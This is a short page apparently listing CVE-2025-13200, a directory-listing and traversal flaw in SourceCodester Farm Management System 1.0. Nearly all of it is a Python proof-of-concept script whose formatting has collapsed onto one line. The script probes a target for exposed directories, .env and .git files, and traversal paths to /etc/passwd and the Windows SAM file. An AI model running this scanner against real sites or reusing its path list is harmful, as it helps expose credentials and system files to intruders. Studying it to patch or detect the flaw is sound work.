CVE-2025-13200 SourceCodester农场管理系统目录遍历信息泄露漏洞

# CVE-2025-13200 PoC - SourceCodester Farm Management System 1.0 Directory Listing import requests import sys TARGET_URL = "http://target.com/farm-management-system" # Common sensitive directories to check SENSITIVE_PATHS = [ "/admin/", "/includes/", "/config/", "/backup/", "/assets/", "/images/", "/uploads/", "/css/", "/js/", "/lib/", "/pages/", "/templates/", "/db/", "/.git/", "/.env", "../../etc/passwd", "..\\..\\windows\\system32\\config\\sam" ] def check_directory_listing(path): """Check if directory listing is enabled for given path""" try: url = TARGET_URL + path response = requests.get(url, timeout=10) # Check for directory listing indicators if response.status_code == 200: indicators = ["Index of", "Directory listing", "Parent Directory", "Last modified"] for indicator in indicators: if indicator in response.text: return True, response.text[:500] return False, None except requests.RequestException as e: return False, str(e) def main(): print(f"[*] Scanning {TARGET_URL} for CVE-2025-13200") print("=" * 60) for path in SENSITIVE_PATHS: is_vulnerable, content = check_directory_listing(path) if is_vulnerable: print(f"[+] VULNERABLE: {path}") print(f" Directory listing enabled!") print(f" Preview: {content[:200]}...") else: print(f"[-] Not vulnerable: {path}") print("\n[*] Scan complete") if __name__ == "__main__": main()